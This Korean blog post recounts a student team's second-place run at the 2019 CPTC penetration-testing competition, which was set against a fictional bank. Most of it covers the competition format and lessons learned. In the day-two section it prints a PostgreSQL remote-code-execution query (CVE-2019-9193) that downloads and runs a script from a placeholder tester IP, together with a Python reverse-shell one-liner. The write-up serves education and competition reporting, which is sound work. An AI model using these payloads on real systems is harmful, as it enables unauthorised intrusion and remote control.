2019 International CPTC 2위를 수상한 우리팀

2019년 11월 24일, 최근 내가 속해있는 팀이 국제 CPTC (Collegiate Penetration Testing Competition) 대회에서 60개팀 중 2등을 수상했다. CPTC 자체가 상당히 특이한 대회이고, 또 내가 개인적으로 재미있게 준비하고 참가한 대회라서 이렇게 블로그 글을 남겨본다.

CPTC가 어떤 형태의 대회인지, 어떻게 우리팀이 대회를 준비했고, 어떤 문제점들을 마주치고 해결하였는지, 그리고 어떤 것들을 배웠는지에 대해 써보도록 하겠다.

목차

1. CPTC란?
2. 다양한 종류의 보안 대회들
3. 2019 CPTC 의 시나리오
4. 경기 내용
5. 배운 점들
6. 마치며

CPTC 란?

CPTC 는 2013년도 Rochester Institute of Technology (RIT) 의 Bill Stackpole 이라는 교수님이 만든 Collegiate Penetration Testing Competition, 모의침투테스트 대회이다. 올해로 6년째를 맞는 CPTC 는 어느덧 미국 내 60개의 대학교 팀들이 참가하고, 30명 가까이 되는 대회 운영진, 그리고 IBM, Google Cloud, Eaton, Uber, Fireeye, MITRE 등을 비롯한 12개 정도의 회사들의 스폰을 받는 대규모 대회로 성장하였다.

대기업들과 보안 컨설팅 회사들이 스폰을 하고 있다 (출처: https://nationalcptc.org/)

CPTC의 내용은 학생팀들이 실제 보안업체 (Security Firm) 의 역할을 수행하여, 가상 회사와 모의침투테스트 계약을 맺고 진행하는 것이다.

학생 팀들과 가상 회사는 Pre-engagment - Request for Proposal, Rules of Engagement, Scope, NDA, pre-engagement meeting 부터 실제 모의침투테스트, 보고서 작성, 고객들과의 소통, 그리고 마지막으로  프리젠테이션 까지, 2박 3일 동안 실제 모의침투테스트와 매우 비슷한 대회를 진행한다.

나를 비롯한 많은 동기들이 터미널 앞에 앉아서 해킹해킹해킹만 하는 대회로 인식하였으나, 실제로는 그것보다 훨씬 더 깊고 포괄적인 대회였다. 대회는 총 2달간 진행이 되고, 실제 경기는 예선전과 본선 모두 2박 3일 연속으로 이어진다. 대회 2달간은 전화 미팅, Request for Proposal, Rules of Engagement 및 NDA 등의 서류들을 교환한다.

10 페이지 가량 되는 세세한 Rules of Engagement 와 가상 비밀유지계약서(NDA) 서류에 사인을 하고, 2번의 전화미팅, 실제 회사를 본딴 30개 정도의 호스트가 존재하는 인프라를 향한 실제 모의침투테스트, 50페이지 가량 되는 보고서 작성, 그리고 약 15명정도 되는 스폰서 회사들의 임원진들 앞에서 프리젠테이션을 발표하는 경험은 정말 엄청난 경험이였다.

한가지 더 특이한 점은 CPTC 는 대회 준비기간, 예선전, 본선 모두 In-Character 로 진행이 된다는 점이다. 이 In-Character 라는 것은 모든 대회 운영진들과의 소통 (이메일, 전화, 대화)이 실제 보안업체와 고객회사가 소통을 하듯 진행해야 한다. 한마디로 실제 상황인 것처럼 연기를 해야한다. 대회 운영진들 또한 모두 가상 회사의 임원진 타이틀과 가명을 사용한다. 이렇듯 연기까지 하면서 과도한 설정 몰입을 하는 까닭은, 현실적인 환경을 만들기 위해서라고 한다. 실제로도 어떻게 하면 Professional 하게 소통을 할까, 이 상황이 현실이라면 난 어떻게 대처해야할까 등을 고민하면서 많은 것을 배운 것 같다.

CPTC 를 만든 Stackpole 교수님은 "제대로된" Offensive Security 인재들을 육성하고, 현실적인 환경을 선보이며, 스폰서 회사들과 대학생들 간의 더욱 더 긴밀한 관계를 구축하기 위해서 대회를 만들었다고 말씀하셨다. 대학생들은 수업이나 동아리적인 측면에서 Offensive Security 를 마주할 기회가 많지 않고, 이에 따라 업계에서의 수요는 늘어나지만 공급이 부족한 환경이 안타까웠다고 한다. 모의침투테스터로 활동을 한 대회 운영진분께서 "실제로 내가 매일 하는 일들과 비슷하다" 라고 말씀하신 것을 보면, 대회의 목적은 충분히 달성하고 있는 것 같다.

다양한 보안 대회들

CPTC 가 워낙 독특한 형태의 대회이기 때문에, 다른 종류의 보안 대회들과 비교를 해보겠다.

CTF

CTF (Capture the Flag) : 아마 우리나라 학생들에게 가장 익숙한 형태의 대회일 것이다. 참가팀들은 운영측에서 준비하는 문제들 (Challenges) 를 풀고, 그에 맞는 점수를 획득하게 된다. 요새는 CTF 또한 많이 발전하여 특정 분야에 집중하는 CTF (Flare-On 은 리버싱, Trace Labs 사의 OSINT CTF 등) 또한 나오고 있다. CPTC 와는 장르가 완전히 다르다고 볼 수 있다.

Attack/Defense

Attack/Defense : 미국내에서는 많이 알려진 형태의 대회이다. 하나의 Red team과 여러개의 학생 Blue team 들끼리 서로의 호스트와 네트워크를 공격/방어하는 형태의 대회이다. 한가지 특이한 점은 레드팀 자체는 대회 운영진들이고, 학생팀들은 모두 블루팀이며, 블루팀들끼리 서로간 점수 경쟁을 펼치게 된다는 것이다. 각 팀들은 10~15개정도의 호스트가 주어지며, 1개의 호스트에는 여러개의 네트워크 서비스들 (SMB, SSH, HTTP/S, RDP, SMTP, IMAP, POP3, ICMP) 가 설치되어 있다. 블루팀들은 Service Uptime 에 따라 점수를 받게 된다. 유명한 대회중에는 CCDC (Collegiate Cyber Defense Competition) 가 있다.

2019 CPTC 시나리오

2019년도 CPTC 시나리오는 다음과 같다. 학생팀들은 DinoBank (다이노 은행) 라는 가상의 은행과 모의침투테스트 계약을 맺게 된다.

Linkedin 페이지, 가상 인물들 (다들 linkedin이 있었다), 공식홈페이지, Reddit, Medium 까지, 설정에 많은 노력을 기울였다. 

CPTC의 전통이자 재밌는 점은, 가상 회사를 구축에 있어서 설정에 많은 노력을 한다는 것이다. 이번년도는 OSINT (Open Source Intelligence) 까지 있었기 때문에, 다이노 은행에 관련된 Linkedin 의 가상인물들, sub-Reddit, 다이노 은행 회사 소개 페이지 (dinobank.us 였으나 현재는 내려간 상태이다), Medium 글까지 있었다.  

인프라쪽으로는 은행 답게 여러 도시에 걸친 각 지부들, 중앙 데이터베이스, 암호화폐, 여러개의 웹 어플리케이션, ATM 기, 그리고 자동음성응답시스템까지 갖추고 있다. 조금 더 자세하게는, 이번년도 CPTC의 토폴로지는 다음과 같다. Active Directory 환경 - 1개의 Forest 와 3개의 Domain, 그 외에 몇대의 리눅스 호스트들이 있었다.

전반적인 토폴로지

중요한 내용들은 모두 생략된 Active Directory 토폴로지

자세한 내용들 - 서브넷의 이름, 호스트의 이름, 중요 서버이름들과 역할들은 모두 생략하였다. 내년 CPTC 에 참가하는 팀들이 혹여나 너무 많은 힌트를 얻으면 안되니까 말이다.

중요 서비스와 서버들

운영진 멤버인 Jason Ross(@rossja) 가 업로드한 토폴로지이다

전반적인 토폴로지를 보자면, Active Directory 는 평범한 회사의 AD를 닮았지만, 중요 서비스/서버들 자체가 매우 특이하다. 비단 평범한 웹어플리케이션 뿐만 아니라, 자동응성응답시스템 (Interactive Voice Response), ATM 기, 암호화폐를 담당하는 Heads and Tails 서버들, 그리고 이 모든 것을 하나로 묶어 데이터베이스와 소통하는 코어 API 가 있다.

그리고... 사전 계약 미팅때 ATM기가 언급되었는데, 실제로 대회 운영진측에서 경기장에 1개의 팀당 1개의 ATM기를 주었다. 그렇다, 실제 오래된 ATM기를 사와서 가져다준 것이다.

진짜 ATM 기를 사와서 우리보고 모의침투를 하라고 했다. 어디서 어떻게 구한거야.. (@TomKopchak)

우리 팀원들 전체가 설마설마 했는데 진짜로 ATM 기를 던져줄주는 몰랐다. 그 덕분에 우리 팀원들 전체는 터미널안에서 모의침투하랴, ATM 기에 이것저것 해보랴, 대회 운영진들과 소통하랴, 정신이 하나도 없었다 (물론 재밌었다).

대회 주요 운영팀인 Tom Kopchak 이 말하길, 신기하게도 Craigslist 에 오래된 ATM 기기들이 올라와있었고, 별 어려움 없이 살 수 있었다고 한다. 오히려 문제점은 트럭에다가 싣고 미국을 횡단한거라고. 참고로 이 ATM 기들은 모두 효성 그룹(http://www.hyosung.co.kr/kr/index.do)의 ATM기들이였다. 머나먼 미국까지 가서 우리나라 ATM 기를 보고, 모의침투테스트를 하자니 참 기분이 묘했다.

경기내용

전반적인 경기 내용은 모의침투테스트와 비슷하다고 생각한다. 20분간의 짧은 준비 이후에 스코프 (scope) 안의 모든 서브넷과 호스트를 스캔했다. 그 이후에는 대략적인 토폴로지를 만들어 중요 서버들과 그 서버들과 소통하는 다른 서버/호스트들을 선별했다. 중요 순위를 두어 한 호스트씩 더 세심한 정보수집을 진행했다. 마지막으로는호스트 별로  취약점 분석을 한 뒤, 공격을 시도하여 네트워크안으로 진입하고, 그 이후에는 AD 를 이용하여 횡적 이동을 했다.

나는 리눅스 리드였기 때문에 *Nix 쪽의 호스트들을 주로 테스트하였지만, 마지막에 가서는 윈도우쪽 호스트들에 대한 테스트를 도와줬다.

첫째날 - 정보수집

한가지 사건 (후에 설명한다) 때문에 우리팀은 1시간 밖에 시간이 없었다. 따라서 팀원 전체가 신속히 필요한 환경을 세팅을 한뒤, 전반적인 정보수집을 시작하였다. 서브넷의 갯수, 호스트의 갯수, 호스트의 이름, 중요 정보등을 모두 수집을 하고, 세세한 모든 TCP 포트 스캐닝과 Default vulnerability scan (nmap -sC) 등을 실행하였다.

# Short full-tcp scan of the target 
nmap -p- --max-retries 1 -T4 -v -oA full_tcp $ip 
 
# Detailed tcp scan with default scripts 
nmap -sCV -T4 -v -p<port numbers from above> -oA targeted_tcp $ip 
 
# Short udp scan of the target 
nmap -sU --max-retries 2 -T4 -v -oA basic_udp $ip 
이 정도 nmap 스캔으로도 충분히 필요한 것을 다 찾을 수 있었다

우리팀은 스캔 결과에 거짓 양성 결과가 나오지 않도록 nmap 과 masscan 두 가지 툴을 이용을 했는데, 결과적으로 매우 좋은 선택이였던 것 같다. masscan 의 경우 스캔 결과가 잘 정리되어 나오지 않기 때문에 따로 팀원이 만들어놓은 파이썬 parser 를 이용하였다.

첫째날은 1시간 밖에 진행하지 않은 것 치고는 모든 호스트들에 대한 정보수집을 하고, 예선전때 사용하였던 취약점 공격 방법들을 모두 다시 한 번 점검하였기 때문에 나쁘지 않았다. 숙소로 돌아간 뒤 보고서의 틀을 짜고, 예선전때의 취약점들이 고쳐졌는지, 안고쳐졌는지 문서화를 한 뒤, 중요 서버들에 대해 중요도를 선정하고, 두번째 날을 위해 잠에 들었다.

둘째날 - 취약점 발견, 분석, 공격

가장 재미있었던 날이였다. 각 팀들마다 추가로 ATM 기가 지급이 되고, 8시간 가량의 모의침투테스트 시간이 주어졌다.

둘째날의 초반은 Automation 과 low-hanging fruit 에 치중을 하였다. 계정 잠김에 걸리지 않도록 Password Spraying (brute force 가 아니다!) 을 SSH, SMB 에 보내고, 웹 어플리케이션은 모두 gobuster 를 이용한 Directory Bruteforcing 과, 간단한 default password 등을 시도했다. DNS 서버에는 Zone Transfer 를 시도하고, Anonymous login 이 있는 서비스라면 모두 다 시도를 해봤다.  

코어 데이터베이스에서 찾아낸 PII - 비록 가상의 데이터지만, 검열은 꼭 해야한다.

위 테스트들이 이뤄지는 동시에, 나와 다른 팀원 하나는 수동으로 코어 데이터베이스 서버를 테스트하였다. PostgreSQL 을 운영하고 있는 이 서버는,  데이터베이스 서버임에도 불구하고 안전한 방화벽 룰이 없고, 때려맞추기 쉬운 비밀번호를 가지고 있었다. PostgreSQL 에 로그인을 한 뒤에는 데이터베이스를 뒤져 직원들과 다이노 은행 고객들의 아이디, 비밀번호 (hash 가 되어있지 않았다...), 주민등록번호 (Social Security Number), 전화번호, 주소, 보유 자금 등을 찾아내었다.

물론 책임있는 보안업체 답게 개인정보들을 찾아낸 뒤 바로 다이노 은행의 담당자 (Point of Contact) 에게 발견사실을 보고하고, 그 동안은 해당 서버를 건드리지 않았다 (Hands-Off-Keyboard). 혹여나 실수로라도 이 데이터들이 변조/유출/소실이 된다면 우리팀이 고스란히 법적 피해를 받을 수 있기 때문이다. 더 테스트를 진행해도 된다는 허락을 맡은 뒤에야 우리는 더 진행을 할 수 있었다.  

데이터베이스에서 호스트 안으로 Remote Code Execution 을 성공하기 위해서는 CVE-2019-9193 을 활용하였다 (https://nvd.nist.gov/vuln/detail/CVE-2019-9193). Metasploit 모듈이 있었다는데, 나와 팀원은 그냥 수동으로 해결했다.

CVE-2019-9193 - PostgreSQL SQL Query

DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'wget <테스터IP>/s.sh -O /tmp/k.sh; bash /tmp/k.sh &';
SELECT * FROM cmd_exec;
Authenticated - PostgreSQL RCE (CVE-2019-9193)

페이로드 s.sh - 파이썬 리버스쉘 원라이너

#!/bin/sh 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect("<테스터IP>",<테스터포트>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

쉘을 얻은 이후엔 Interactive TTY 로 쉘 업그레이드를 하고 (https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/), 코어 데이터베이스 안에서의 root 계정으로 Local Privilege Escalation 을 준비하였다.

그 와중에 다른 팀원들은 웹 어플리케이션에서 다양한 취약점을 발견했다. 갯수도 많고 종류도 다양하여 생략한다.

나 또한 점심 뒤에 좀 뜬금없게도 윈도우쪽 호스트의 RDP 비밀번호를 Spraying 에 성공하면서, 윈도우쪽에도 우리팀이 침투를 할 수 있게 되었다. 이후 우리팀 윈도우 리드가 특정 로그파일에 남겨져 있었던 Domain Administrator (DA) 의 비밀번호를 발견, 다이노 은행의 모든 윈도우 도메인과 호스트들을 장악했다.

경기 3시간째 우리팀은 코어 데이터베이스와 웹어플리케이션을 테스트하고, 모든 윈도우 도메인과 호스트들을 장악하였다. 남은 4시간을 이용해 ATM기, 자동음성응답시스템, 웹어플리케이션들, 그리고 문서화를 시작하였다. 모든 시스템들이 코어 시스템에 연결이 되었기 때문에, 코어 데이터베이스를 통해 ATM 기에서 계좌가 가진 돈 보다 더 많은 돈을 빼낼 수 있다는 사실을 안 다음에는 정말 신났었다.

셋째날 - 보고서 작성, 프리젠테이션, 그리고 승리팀 발표

둘째날 8시간의 모의침투테스트가 끝나고, 스폰서 회사 직원들과 함께하는 저녁 사교 시간을 즐긴 뒤, 새벽 3시까지 보고서 작성 및 프리젠테이션 준비를 진행했다. 당연히 셋째날 아침엔 모두 매우 피곤했었고, 힘들게 프리젠테이션을 발표하였다.

프리젠테이션은 정말 긴장됐지만, 재밌는 경험이기도 했다.

CPTC 의 꽃이라고도 볼 수 있는 프리젠테이션은, 실제 스폰서 회사 임원/직원들을 상대로 발표한다. 학생 팀들은 모의침투테스트의 결과를 임원레벨의 사람이 이해할 수 있도록 발표해야한다. 모의침투내용, 발견된 취약점, 왜 이러한 취약점들이 고객 회사에게 위협이 되는지, 어떠한 비즈니스적 위험이 있는지, Compliance 과 법과 같은 복잡한 문제를  빅-픽처스럽게 (??), 그리고 동시에 간단 명료하게 설명 해야한다.

말이 쉽지, 실제 IBM, Uber, MITRE, Google Cloud 등의 회사들에서 나온 임원진들, 직원들을 상대로 프리젠테이션을 발표하는 것은 매우 긴장되고 스트레스 받는 일이였다. 하지만 그와 동시에, 대학생활을 하면서, 혹은 직장생활을 하면서 이런 기회가 얼마나 있을까? 하는 생각에 발표를 끝까지 잘 마친 것 같다.

배운 점들 (Lessons Learned)

소프트 스킬

대회에 나가기 전부터 소프트 스킬 (미팅, 대화, 소통, 보고서 작성, 프리젠테이션 발표 등)이 중요하다는 것은 코치님과 현직 모의침투테스터/레드팀에서 일하고 있는 분들에게 많이 들었었다. 하지만 CPTC 를 진행하면서 소프트 스킬이 얼마나 중요한 것인지를 다시 한 번 깨닫게 되었다. 결국 모의침투테스트라는 것은 해당 고객에게 필요한 서비스를 제공하는 일이다. 이럴때 테스터의 목표는 고객을 위한 최상의 서비스를 제공하고, 그 서비스가 고객에게 이득이 될 수 있도록 소통을 하며 이해를 돕는 것이다.

그리고 그 소통은 모두 소프트 스킬에서 나오게된다. 테스터가 정확히 어떠한 테스트를 할 것이고, 어떤 목표가 있으며, 어떤 것을 찾았고, 왜 그것이 중요하며, 어떻게 그것을 고치는가. 이 모든 내용을 이해하기 쉽고 간단 명료하게 고객에게 전달하는 것이 참 중요하다는 것을 배웠다. 소프트 스킬뿐만 아니라 마음가짐과 태도 또한 매우 중요했다. "AD를 장악하는데 30분 밖에 걸리지 않았다." "웹어플리케이션의 현재 상태가 엉망이다" 같은 거만한 태도로 소통을 하는 것은 테스터의 자의식 과잉에는 도움이 될지 모르겠지만, 고객에게는 하등 도움이 되지 않는다. 고객을 존중하고 프로페셔널한 태도를 바탕으로, 내가 찾은 기술적인 정보 (Technical detail) 를 비즈니스적으로 해석하여 간단 명료하게 전달하는 소프트 스킬이 고객에게는 큰 도움이 된다는 것을 배웠다.

빅픽처 - 숲을 보자

우리팀이 어려움을 겪었던 점들 중 하나는 바로 숲을 보기보다는 나무만을 봤다는 것이다. 변명을 하자면 컴퓨터 30대와 ATM, IVR 시스템등을 갖추고 있는 인프라 자체를 학생으로서는 처음 테스트를 했기 때문에, 숲을 보기가 힘들었다. 그럼에도 불구하고 하나의 취약점을 찾으면 그 취약점이 갖는 의의과 비즈니스적 위험을 생각하기 보다는 무조건 취약점을 공격하여 쉘을 얻는데에만 집중을 한 것 같다.

예를 들어 예선전때 내부 인프라안에서 다이노 은행의 암호화폐코인 랜딩 페이지 (Landing Page) 를 찾은 적이 있다. 페이지 자체는 프로덕션 상태였었다. 그 때 일부 팀원들이 신나서 취약점을 발견하려고 여러가지 정보 수집을 했던 것이 기억난다. 이 때, 이 웹서버를 어떻게 테스트 해야할까? Gobuster/Directory Traversing/Happy path/Default passwords/API endpoint fuzzing (랜딩페이지에?) ... 모두 틀렸다. "앞에 웹서버가 있다. 취약점을 찾자!" 가 아닌, "왜 내부 인프라에 프로덕션 상태의 암호화폐 랜딩 페이지가 존재하는가?" 를 스스로에게 물어봤어야 했다.

랜딩 페이지라면 DMZ 에 속한 채 인터넷을 향해야 정상일 것이다. 애당초 고객들이 자신의 제품에 대해서 한눈에 알아볼 수 있게 만드는 것이 랜딩페이지니까. 하지만 이 경우에는 이상하게도 내부 인프라에 자리잡고 있었으니 의심을 먼저했어야 맞다. 다이노 은행 담당자 (Point of Contact) 에게 연락을 취하여 이 서버가 원래 내부 인프라망에 존재해도 되는 서버인지 확인을 했어야했다.

하나하나의 취약점 보다는 인프라 자체를 큰 그림을 그리며 이해를 하고, 비즈니스와 데이터 플로우 (Business/Data flow) 를 파악한 뒤, 각각의 서브넷과 호스트의 중요도를 매기고, 그를 바탕으로 취약점 발견/분석/공격을 했다면 더 의미있는 테스트를 진행 했을 것 같다.

팀워크와 팀 다이나믹

보안을 배우는 학생의 입장에서 팀 프로젝트및 대회참가는 많이 하지만, 진정한 팀워크를 사용하는 일은 많지 않다. 실제로 팀을 이뤄서 일을 하는 경우는 많지만, 대다수의 경우 각자의 역할에 맞게 일을 하고, 마지막에 그 일을 합치는 정도이다. 예를 들자면 레드팀 (Red Teaming) 같은 경우에는 윈도우/리눅스/네트워킹을 담당하는 팀원들이 각자의 툴을 준비하고, 마지막에 C2 담당 팀원과 소통하여 자신들이 만든 툴을 배포하는 형식이다. 실제로 팀 안에서 유기적인 팀워크는 기대하기가 힘들다.

그런면에서 CPTC는 조금 달랐다. 실제로 모든 팀원들의 자신의 역할을 수행하기도 했지만, 대회 내내 서로의 의견을 듣고, 피드백을 해주고, 회의를 해서 하나의 결론을 도출하는 과정이 있었기 때문이다. 정말 팀 다운 팀에서, 팀워크 다운 팀워크를 한 기분이었다. 그 와중에 발생하는 팀원들간의 의견 충돌, 이후에 따라오는 긴장감, 그리고 그 긴장을 해소하는 방법 등을 배웠다. 3일 동안 10시간정도 수면을 하면서 극한의 스트레스 환경에서의 소통 또한 중요한 경험이 되었다.

마치며

정보보안에 대한 관심이 높아지면서, Computer Science, Software Engineering, Computer Engineering 이 아닌, 정보보안만을 전공하고 공부하는 학생들이 늘고 있다. 그 수요에 따라, 현 미국내에서는 학부생들을 위한 정보보안 전공이 개설되는 학교들이 늘고 있다. 미국 정부쪽에서는 Cyber Patriot, Gen-Cyber, Scholarship for Service 등을 통한 프로그램들로 학생들을 지원하고 있다. 업계쪽에서는 비단 보안관제에서 일하는 SOC Analyst 뿐만아니라, Penetration Tester, Security Engineer, Reverse Engineer, Vulnerability Research, Threat Intelligence Analyst, Red team 등, 실제 업계에서 볼 수 있는 직종들의 인턴쉽 또한 진행을 하고 있다.

이렇듯 빠르게 성장하고 있는 정보보안 업계와 교육에서, CPTC 는 정말 뜻깊은 대회였다. 비단 모의침투테스트, 보고서, 프리젠테이션, 소통 뿐만 아니라, 실제 업계에서 일하는 것처럼 마음가짐을 갖고 대회에 참가한 것이 정말 큰 배움이 되었다. 앞으로 이런류의 대회가 많이 열려 학생들에게 더 많은 경험을 선사했으면 좋겠다.